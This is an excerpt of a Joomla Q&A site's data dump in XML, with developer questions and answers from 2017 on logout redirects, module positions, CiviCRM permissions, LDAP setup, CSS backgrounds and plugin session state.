  <row Id="19437" PostTypeId="1" CreationDate="2017-03-25T11:01:14.493" Score="2" ViewCount="1233" Body="&lt;p&gt;I need help with this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this line of PHP code in a menu option using sourcerer. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li style=&quot;list-style:none;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    $user = JFactory::getUser(); {&#xA;        $userToken = JSession::getFormToken();&#xA;        echo '&amp;lt;a href=&quot;index.php?option=com_users&amp;amp;view=login&amp;amp;layout=logout' . $userToken . '=1;&quot; &amp;gt;Logout ' .'&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/li&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I need to redirect to a page once the user clicks this menu link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to redirect the user to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I use this link to logout it just goes to an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="9578" LastEditorUserId="9182" LastEditDate="2017-03-27T02:55:30.153" LastActivityDate="2017-03-27T02:55:30.153" Title="Add url to direct logout link?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19438" PostTypeId="2" ParentId="19437" CreationDate="2017-03-25T11:41:27.117" Score="4" Body="&lt;p&gt;You can do this without Sourcerer. A direct logout link is core behaviour of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a menu item of the type users &gt; logout.&lt;/li&gt;&#xA;&lt;li&gt;Set the redirect option to point to your homepage, or wherever you want it to go.&lt;/li&gt;&#xA;&lt;li&gt;If you need to create a logout link which isn't part of a menu, then just use the link &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(&quot;index.php?Itemid=111&quot;); ?&amp;gt;&quot;&amp;gt;LOGOUT&amp;lt;/a&amp;gt;&lt;/code&gt; replacing 111 with the id of your logout menu item.&lt;/li&gt;&#xA;&lt;li&gt;In a WYSIWYG area, you should be able to just use &lt;code&gt;&amp;lt;a href=&quot;index.php?Itemid=111&quot;&amp;gt;LOGOUT&amp;lt;/a&amp;gt;&lt;/code&gt;, as links here should be automatically passed through JRoute without the need for PHP extensions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd strongly advise never to use Sourcerer.  It's a hack tool which encourages terrible development practise.  Joomla has a strong framework using components and modules which helps keep content, database and styles separate and easy-to-maintain, and which other developers can easily follow.  Sourcerer makes maintenance of a site almost impossible.  It's bad enough mixing styles and content in a single database cell, let alone styles, server-side code and content.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-25T11:41:27.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19439" PostTypeId="1" AcceptedAnswerId="19441" CreationDate="2017-03-27T11:13:18.607" Score="3" ViewCount="235" Body="&lt;p&gt;For instance, if I have a position called 'position-1' and I've multiple modules in position-1. How can I get all module names based on position (in this case 'position-1')? Is it even possible? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="9764" LastEditorUserId="9764" LastEditDate="2017-03-27T11:43:32.583" LastActivityDate="2017-03-27T11:43:32.583" Title="Template module names based on position" Tags="|module|templates|positions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19440" PostTypeId="2" ParentId="19439" CreationDate="2017-03-27T11:26:45.467" Score="1" Body="&lt;p&gt;If you wish to know which modules are assigned to a specific template position, simple go to &lt;em&gt;Extensions-&gt;Modules&lt;/em&gt;, then click &lt;em&gt;Search Tools&lt;/em&gt; and then specifie the disired position in the &lt;em&gt;Select Position&lt;/em&gt; select box. Hope that's what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-03-27T11:26:45.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19441" PostTypeId="2" ParentId="19439" CreationDate="2017-03-27T11:37:19.093" Score="5" Body="&lt;p&gt;If you mean programatically, JModuleHelper should return the info you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modules = JModuleHelper::getModules('position-1');&#xA;print_r($modules);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-27T11:37:19.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19442" PostTypeId="1" AcceptedAnswerId="21725" CreationDate="2017-03-27T16:01:36.460" Score="4" ViewCount="708" Body="&lt;h1&gt;Preface&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Let me preface this post by saying that though I have considerable experience with PHP, I am not familiar with Joomla in any meaningful sense. What follows is based on assumptions about how Joomla works and information I have gleaned from folks more familiar with this CMS than I am. I would be grateful if you would correct any misconceptions I have.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, this question boils down to: Is it possible for extensions to a Joomla component to define their own permissions?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Defining Permissions for a Component (this part works)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I develop on CiviCRM, a constituent relationship manager for nonprofits which integrates with Joomla, Drupal, WordPress, and Backdrop. CiviCRM is for the most part a standalone application; it integrates with the various CMSes by packaging itself as a module, component, etc., but its core logic is CMS-agnostic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Joomla, CiviCRM defines its core permissions in the component's &lt;code&gt;access.xml&lt;/code&gt; file. These core permissions work as expected; Joomla's permissions UI renders them, and they can be ticked on and off like any other Joomla permission.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Programmatically Adding New Permission Definitions to a Component (this is where I need help)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's where things get tricky. Like Joomla, CiviCRM has an extension system, and extensions to CiviCRM may themselves define new permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CiviCRM extension developers register new permissions by use of a hook function &lt;a href=&quot;https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_permission/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hook_civicrm_permission&lt;/a&gt;. CiviCRM core abstracts away the differences between the CMSes and registers extension-defined permissions with the host CMS (e.g., via its implementation of Drupal's hook function &lt;a href=&quot;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_permission/7.x&quot; rel=&quot;nofollow noreferrer&quot;&gt;hook_permission&lt;/a&gt;). In every CMS besides Joomla, this has been worked out so that merely registering a new permission is sufficient to have it displayed alongside other permissions in the relevant UIs, have the CMS store which groups/roles have been granted the permission, and have the CMS enforce it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, Joomla's permissions management UI is built by consuming all the &lt;code&gt;access.xml&lt;/code&gt; files for all the Joomla components at run-time. As CiviCRM's extension-defined permissions do not exist in any &lt;code&gt;access.xml&lt;/code&gt; file, these permissions are not rendered in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other extensible extensions in the Joomla space? How do they deal with this scenario? The ideal solution would not require CiviCRM extension developers to package their CiviCRM extensions differently -- there's enough to learn about CiviCRM without getting into the particulars of each CMS! If there's a way to modify CiviCRM core (or perhaps make a change to Joomla) so that arbitrary CiviCRM extensions can pass arbitrary permission definitions to Joomla through CiviCRM core, such a solution would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Things That Have Been Tried&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hacking CiviCRM's &lt;code&gt;access.xml&lt;/code&gt; to include permissions defined by extensions appears to work, but clearly this is a maintenance nightmare and a terrible user experience.&lt;/li&gt;&#xA;&lt;li&gt;Our tests show that the permissions are actually enforced if you manage to set them. In a test instance, we did so by hacking the database to set the desired permissions. Again, not a great user experience.&lt;/li&gt;&#xA;&lt;li&gt;I have also considered pretending the Joomla permissions UI doesn't exist and building a separate permissions UI just for CiviCRM on Joomla, but I'd still need to learn about Joomla's permission APIs, and I'd rather not fragment the user experience that way.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9874" LastEditorUserId="126" LastEditDate="2017-06-30T11:13:40.503" LastActivityDate="2017-10-13T14:04:27.777" Title="How to define Joomla permissions programmatically?" Tags="|joomla-api|acl|permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19443" PostTypeId="1" AcceptedAnswerId="19456" CreationDate="2017-03-27T19:27:47.873" Score="2" ViewCount="6539" Body="&lt;p&gt;I'm hoping someone here can help me out. Joomla's LDAP plugin is driving me crazy. I'm trying to get Joomla to authenticate against my AD server but have been having no luck. I've been searching all around the web and can't really find any info. I have enabled the plugin, installed php7.0-ldap on my ubuntu server, and it's still failing to bind to LDAP. Here is my config:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Host: AD IP&lt;/li&gt;&#xA;&lt;li&gt;Port: 389&lt;/li&gt;&#xA;&lt;li&gt;LDAP V3: No&lt;/li&gt;&#xA;&lt;li&gt;Negotiate TLS: No&lt;/li&gt;&#xA;&lt;li&gt;Follow Referrals:    No&lt;/li&gt;&#xA;&lt;li&gt;Authorization Method: Bind and Search&lt;/li&gt;&#xA;&lt;li&gt;Base DN: DC=domainname,DC=local&lt;/li&gt;&#xA;&lt;li&gt;Search String:    uid=[search],OU=SBSUsers,OU=Users,OU=Hospice&#xA;User's&lt;/li&gt;&#xA;&lt;li&gt;DN:    uid=[username]&lt;/li&gt;&#xA;&lt;li&gt;Connect Username: domain\user&lt;/li&gt;&#xA;&lt;li&gt;Connect Password:    Password&lt;/li&gt;&#xA;&lt;li&gt;Map Full Name: fullName&lt;/li&gt;&#xA;&lt;li&gt;Map Email: mail&lt;/li&gt;&#xA;&lt;li&gt;Map User ID:    sAMAccountName&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm just not sure what else I could do. Any suggestions?  Please and Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2024-03-22T07:42:15.597" Title="Joomla 3.6.5 - LDAP/AD" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19444" PostTypeId="2" ParentId="19421" CreationDate="2017-03-27T20:51:19.793" Score="2" Body="&lt;p&gt;You can do this by adding the following code to the very end of your &lt;code&gt;/administrator/components/com_content/views/tmpl/edit.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    jQuery(&quot;#jform_state&quot;).on('change', function(e){&#xA;        if (confirm(&quot;Are you sure you want to change the status of this article?&quot;) != true) {&#xA;            e.preventDefault();&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A better idea is to copy the &lt;code&gt;edit.php&lt;/code&gt; file to the corresponding location of your admin template and then make the modification there.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-27T20:51:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19445" PostTypeId="2" ParentId="19420" CreationDate="2017-03-27T21:00:11.093" Score="0" Body="&lt;p&gt;First a comment on your last statement on embedded modules being always cached - our experience, in fact, &lt;a href=&quot;http://www.itoctopus.com/the-hidden-downside-of-embedding-joomla-modules-in-articles&quot; rel=&quot;nofollow noreferrer&quot;&gt;shows the complete opposite&lt;/a&gt;. Our post is much more recent than the answer in the Joomla forum (the one on the Joomla forum is also for a very old version of Joomla - ours is for Joomla 3.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to answer your original question, you can always use the &lt;code&gt;get&lt;/code&gt; and &lt;code&gt;store&lt;/code&gt; methods of the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JCache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCache class&lt;/a&gt;. This way, you will be able to easily cache and retrieve your module's data.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-27T21:00:11.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19446" PostTypeId="2" ParentId="19404" CreationDate="2017-03-28T01:30:12.847" Score="2" Body="&lt;p&gt;You can use CSS to hide the field in your form - just check which CSS class (or which id) is assigned to the HTML element that you want to hide (or one of its parents), and then add a CSS rule to hide it (remember, you can select the &lt;em&gt;nth&lt;/em&gt; child element of any HTML element through CSS, and then assign the &lt;code&gt;display:none&lt;/code&gt; to that element).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, if I were given the choice between BreezingForms and RS Forms, I'd go with the latter.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-28T01:30:12.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19447" PostTypeId="2" ParentId="19402" CreationDate="2017-03-28T01:54:27.227" Score="1" Body="&lt;p&gt;I don't think this problem happens for everyone. I think the specific search keywords that you are using are the problem - or maybe something else specific to your website(s) (perhaps a common plugin?). I tried the above pattern on 3 different sites on 3 different servers all running ModSecurity, but the rule (rule #390606) wasn't triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, the only way to get rid of the problem is to whitelist the rule in the &lt;code&gt;whitelist.conf&lt;/code&gt; file (see &lt;a href=&quot;http://www.itoctopus.com/internal-server-error-when-trying-to-save-content-on-a-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) - but I doubt that the hosting company will accommodate that request, because they will think (and rightly so) that this whitelisting will negatively impact the security on their servers. You can always try though - but - to be honest, I wouldn't stay with a host who accommodates such a request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ModSecurity is becoming more and more aggressive, and probably the best way to deal with its false alarms is to have your own VPS, and then you can whitelist those rules.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-28T01:54:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19448" PostTypeId="1" AcceptedAnswerId="19449" CreationDate="2017-03-28T02:17:56.060" Score="2" ViewCount="3290" Body="&lt;p&gt;I am trying to put a background image into all articles on my website.&#xA;At the moment I am achieving this by hard-coding the div tag into the body of my joomla article.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{loadmodule mod_custom,ACADEMIC}&amp;lt;/p&amp;gt;&#xA;&amp;lt;div style=&quot;background-image: url('images/M34Algebra/Academicv5.png');&quot;&amp;gt;&#xA;&amp;lt;!- content  -&amp;gt;&#xA;&amp;lt;!- content  -&amp;gt;&#xA;{loadmodule mod_custom,NOTES FOOTER}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which generates the folloiwng&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://elitemaths.com.au/vce-study-materials/10-methods34/57-a00-the-number-system-notes.&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elitemaths.com.au/vce-study-materials/10-methods34/57-a00-the-number-system-notes.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(repeating company logo so it can serve as a water mark)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could achieve this by inserting the div tag in either the header module or the footer module but putting the div tag in these moudules outputs the background image only within the scope of the header or the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any experienced Joomla guys tell me how to do this properly? As I have over 60+ such articles I need to apply the same background image to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="8777" LastEditorUserId="8777" LastEditDate="2017-03-28T02:31:07.320" LastActivityDate="2017-03-28T14:33:36.060" Title="insert background image for articles" Tags="|joomla-3.x|articles|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19449" PostTypeId="2" ParentId="19448" CreationDate="2017-03-28T02:30:50.523" Score="1" Body="&lt;p&gt;You can achieve this through CSS. In your CSS, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.article-content{&#xA;    background-image: url(/images/M34Algebra/Academicv5.png);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just tried the above on your website in Google Chrome and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you clear your browser cache to make sure that the changes take effect.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-03-28T14:33:36.060" LastActivityDate="2017-03-28T14:33:36.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19450" PostTypeId="2" ParentId="19448" CreationDate="2017-03-28T02:58:32.030" Score="2" Body="&lt;p&gt;As a complement or alternative to itoctopus answer you can also have different backgrounds for different menu items, you can use the page class suffix parameter of the menu item to create new CSS classes and then add styling commands in the CSS file (Joomla! docs)&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-03-28T02:58:32.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19452" PostTypeId="2" ParentId="19448" CreationDate="2017-03-28T07:48:26.087" Score="2" Body="&lt;p&gt;To extend @n.h. post, and answer your comment-question this is how this works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add a page class suffix for a menu item, then most templates will add this extra css class on the wrapper &lt;code&gt;div&lt;/code&gt; element of the article, which usually has already the class &lt;code&gt;item-page&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for that menu item: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-page&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will become: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-page yourCustomClass&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that you might have to leave a space when you are typing your custom class in the page class suffix field for the menu item, in order to have your custom class added as a second class on that div, instead of concatenating the existing &lt;code&gt;item-page&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all you need is to target with your css those specific pages' article area with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Page 1 bg */&#xA;.item-page.yourCustomClass1 .article-content div {&#xA;    background-image: url(/images/bgImage1.jpg);&#xA;}&#xA;&#xA;/* Page 2 bg */&#xA;.item-page.yourCustomClass2 .article-content div {&#xA;    background-image: url(/images/bgImage2.jpg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to target for your bg image the &lt;code&gt;.article-content div&lt;/code&gt; element, other elements, or the whole &lt;code&gt;.item-page&lt;/code&gt; is up to you and also depending on the results you are getting ( I haven't inspect your site ).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-28T07:48:26.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19453" PostTypeId="2" ParentId="19367" CreationDate="2017-03-28T09:13:34.917" Score="2" Body="&lt;p&gt;When an article is saved, &lt;code&gt;JTableContent&lt;/code&gt; (\libraries\legacy\table\content.php) saves anything before the readmore tag in the &lt;code&gt;introtext&lt;/code&gt; field and anything after in the &lt;code&gt;fulltext&lt;/code&gt; field of the content table.  The tag itself it not saved in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the structure of that table here: &#xA;&lt;a href=&quot;https://docs.joomla.org/Tables/content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Tables/content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code Joomla uses to split the content up is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Search for the {readmore} tag and split the text up accordingly.&#xA;        if (isset($array['articletext']))&#xA;        {&#xA;            $pattern = '#&amp;lt;hr\s+id=(&quot;|\')system-readmore(&quot;|\')\s*\/*&amp;gt;#i';&#xA;            $tagPos = preg_match($pattern, $array['articletext']);&#xA;&#xA;            if ($tagPos == 0)&#xA;            {&#xA;                $this-&amp;gt;introtext = $array['articletext'];&#xA;                $this-&amp;gt;fulltext = '';&#xA;            }&#xA;            else&#xA;            {&#xA;                list ($this-&amp;gt;introtext, $this-&amp;gt;fulltext) = preg_split($pattern, $array['articletext'], 2);&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is run on save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume your script is writing to the database, in which case you'd need to update it to populate the two fields instead of adding the readmore tag to the fulltext field.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-28T09:13:34.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19454" PostTypeId="2" ParentId="18992" CreationDate="2017-03-28T10:03:39.797" Score="3" Body="&lt;p&gt;The code where the template is chosen is the getTemplate function at &lt;code&gt;\libraries\cms\application\site.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ID of the template should be saved next to the menu item in the &lt;code&gt;template_style_id&lt;/code&gt; field of the &lt;code&gt;__menu&lt;/code&gt; table of the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, templates are linked to menu items. If a menu item is not present, it will fallback to the default one, so as long as your page has a menu item (as opposed to being called via parameters sent in the URL), then it &lt;em&gt;should&lt;/em&gt; be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd probably first look in the database to make sure the right ID is next to the appropriate menu item.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't say what the logged in page does, but if it is a bespoke component, is there any chance it is setting the template programatically and bypassing the core functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are extensions which allow you to set a different template for different user groups, which is the sort of thing which could also be overriding the expected behaviour.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-28T10:03:39.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19455" PostTypeId="2" ParentId="18050" CreationDate="2017-03-28T10:46:43.083" Score="1" Body="&lt;p&gt;For what you describe, you will need to look into writing a plugin rather than using template overrides. You should be able to grab the content before it saves to the database and add any extra code at that point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think &lt;code&gt;onContentBeforeSave&lt;/code&gt; would be the appropriate event to use in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template overrides still work in Joomla 3, but they just render the content differently rather than actually save it.  Depending what you want to do, this may also work.  A more up-to-date article on that is here:  &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-28T10:46:43.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19456" PostTypeId="2" ParentId="19443" CreationDate="2017-03-28T20:27:32.757" Score="1" Body="&lt;p&gt;I searched for a while online trying to find the proper settings to get LDAP authentication to work with the built in plugin but couldn't find anything that worked and was up to date. I wanted to post what settings worked for me. I used a PHP debugger to figure out what was being sent and what I needed to change. Here is what I found worked for me.&lt;/p&gt;&#xA;&lt;p&gt;Host: The ip address or fully qualified domain name. IE. 10.0.0.250 or mydc01.corp.example.com&#xA;(DO NOT INCLUDE ldap:// or ldaps:// in the value. It is added by the plugin)&lt;/p&gt;&#xA;&lt;p&gt;Port: 636&#xA;(This assumes you have already setup your domain controller with the proper certificate to use SSL secure connections. If not, you can try port 389 but that sends data including passwords in plain text over the network so for security sake, it is better to get the secure 636 working)&lt;/p&gt;&#xA;&lt;p&gt;LDAP V3: Yes&#xA;Connection Security: SSL/TLS&#xA;(This would be set to none if using port 389)&lt;/p&gt;&#xA;&lt;p&gt;Ignore Certificate: Yes&#xA;Follow Referrals: No&#xA;Authorisation Method: Bind and Search&#xA;(You can use Bind Directly As User if you don't have a separate account to do queries setup)&lt;/p&gt;&#xA;&lt;p&gt;Base DN: DC=corp,DC=example,DC=com&#xA;(This will obviously need to be changed to what your domain settings are. You can use Active Directory Users and Computers with Advanced Features checked under the view menu to find this info. Right click on your domain name, click properties and then click the Attribute Editor tab. Scroll down to Distinguished Name and that is the value you need.&lt;/p&gt;&#xA;&lt;p&gt;Search String: mail=[search]&#xA;(We use email addresses to log in so we use the mail attribute. You can use just the account name by using &amp;quot;sAMAccountName=[search]&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;(The following connect username and password is only needed if you use Bind and Search as the method.&#xA;Connect Username: ldapqueryuser@corp.example.com&#xA;Connect Password: some secret password you set&lt;/p&gt;&#xA;&lt;p&gt;Map: Full Name: displayName&#xA;Map: Email: mail&#xA;Map: User ID: mail&#xA;(This value becomes the Login Name (Username) in the Joomla Account Details. Since we use email we set it to &amp;quot;mail&amp;quot;. If you wanted just the account name you would set this to &amp;quot;sAMAccountName&amp;quot;. If you wanted to have a user id as the login, you would use the uid or uidNumber attribute depending which one contains that info in your ldap.&lt;/p&gt;&#xA;&lt;p&gt;I hope this helps someone to save time setting this up.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="17692" LastEditDate="2024-03-22T07:42:15.597" LastActivityDate="2024-03-22T07:42:15.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19457" PostTypeId="1" CreationDate="2017-03-29T02:18:15.797" Score="2" ViewCount="322" Body="&lt;p&gt;So I've got this in a system plugin for event onAfterInitialize - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();    &#xA;$referrer     = $app-&amp;gt;input-&amp;gt;getInt('ref');    &#xA;$app-&amp;gt;setUserState('com_mycomponent.referrer', $referrer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I know it's setting the variable because on that file this works - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get ref_uid from session variable    &#xA;$ref_uid = $app-&amp;gt;getUserState('com_mycomponent.referrer', null);    &#xA;var_dump($ref_uid); die; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, when I put the getUseState on an external php file for testing, it reads as well - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( '_VALID_MOS', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' ));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$app = JFactory::getApplication();&#xA;&#xA;//get ref_uid from session variable&#xA;$ref_uid = $app-&amp;gt;getUserState('com_mycomponent.referrer');&#xA;&#xA;var_dump($ref_uid);die; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However - when I put that same exact getUserState call in a user plugin for onUserAfterSave,&#xA;it fails to read the session variable and returns null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&quot;m sure the code is firing because I get output while testing, echo this and die that etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas why this isn't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone on stackexchange had a similar issue so I tried their suggestion and added this to no avail - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('registry',   new JRegistry('session'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also worth noting is that getUserState is working fine in my custom component, just not in this onUserAfterSave plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, I'm all out of ideas!&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2017-03-29T05:26:00.223" LastActivityDate="2018-01-06T07:19:09.400" Title="getUserState not working in user plugin - onUserAfterSave - but is working in external file and in custom component" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19458" PostTypeId="2" ParentId="19457" CreationDate="2017-03-29T04:42:18.387" Score="0" Body="&lt;p&gt;There is no event called &lt;code&gt;onAfterUserSave&lt;/code&gt; - it is called on &lt;code&gt;onUserAfterSave&lt;/code&gt; - not sure if this is a typo. If it's not a typo, then I have no idea how an event that doesn't exist got triggered.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-29T04:42:18.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
